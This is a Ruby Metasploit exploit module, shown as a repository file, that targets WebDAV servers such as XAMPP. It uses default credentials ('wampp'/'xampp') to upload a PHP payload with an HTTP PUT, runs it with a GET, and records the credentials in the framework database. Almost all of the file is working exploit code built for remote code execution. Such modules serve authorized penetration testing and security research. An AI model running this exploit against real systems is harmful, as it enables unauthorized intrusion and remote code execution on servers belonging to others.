Files
metasploit-gs/modules/exploits/multi/http/webdav_upload_php.rb
T
2026-04-08 17:03:16 +01:00

173 lines
4.5 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Deprecated
moved_from 'exploits/windows/http/xampp_webdav_upload_php'
def initialize
super(
'Name' => 'WebDAV PHP Upload',
'Description' => %q{
This module exploits weak WebDAV passwords, which may be
on a on XAMPP server.
It uses supplied credentials to upload a PHP payload and
execute it.
},
'Author' => [
'theLightCosine',
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
[ 'Automatic', {} ],
],
'DisclosureDate' => 'Jan 14 2012',
'DefaultTarget' => 0,
'References' => [
[ 'CVE', '2012-10062' ]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
register_options(
[
OptString.new('URI', [ true, 'The path to attempt to upload', '/webdav/']),
OptString.new('FILENAME', [ false, 'The filename to give the payload. (Leave blank for random)']),
OptString.new('USERNAME', [true, 'The HTTP username to specify for authentication', 'wampp']),
OptString.new('PASSWORD', [true, 'The HTTP password to specify for authentication', 'xampp'])
]
)
end
def build_res_creds
if !datastore['USERNAME'].to_s.empty?
vprint_status 'Using credentials for WebDAV'
{
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
else
vprint_status 'Anonymous authentication for WebDAV'
{}
end
end
def report_webdav_service(res, creds)
header_server = res.headers['Server']
vprint_status "Server: #{header_server.strip}"
opts = {
ip: rhost,
port: rport,
service_name: 'webdav',
proto: 'tcp',
proof: res.code.to_s
}.merge(creds.transform_keys(&:to_sym))
service = report_service(
host: opts[:ip],
port: opts[:port],
proto: opts[:proto],
name: opts[:service_name],
info: header_server,
parents: {
name: ssl ? 'https' : 'http',
host: opts[:ip],
port: opts[:port],
proto: opts[:proto],
parents: {
name: 'tcp',
host: opts[:ip],
port: opts[:port],
proto: opts[:proto],
parents: nil
}
}
)
# XXXX Otherwise `vuln`'s "Service" is "none" when doing check(), and different when doing exploit()
report_vuln(
host: opts[:ip],
service: service,
name: name
)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: opts[:proto],
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:username],
private_data: opts[:password],
private_type: :password
}.merge service_data
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge service_data
create_credential_login login_data
end
def exploit
uri = build_path
res_creds = build_res_creds
print_status "Uploading payload: #{uri}"
res = send_request_cgi({
'uri' => uri,
'method' => 'PUT',
'data' => payload.raw,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}, 25)
unless (res && (res.code == 201))
print_error 'Failed to upload file!'
return
end
report_webdav_service(res, res_creds)
print_status 'Attempting to execute payload'
send_request_cgi({
'uri' => uri,
'method' => 'GET'
}, 20)
register_file_for_cleanup(@backdoor)
end
def build_path
uri_path = normalize_uri(datastore['URI'])
uri_path << '/' unless uri_path.ends_with?('/')
@backdoor = datastore['FILENAME'] || Rex::Text.rand_text_alphanumeric(7)
@backdoor << '.php' unless @backdoor.end_with?('.php')
uri_path << @backdoor
return uri_path
end
end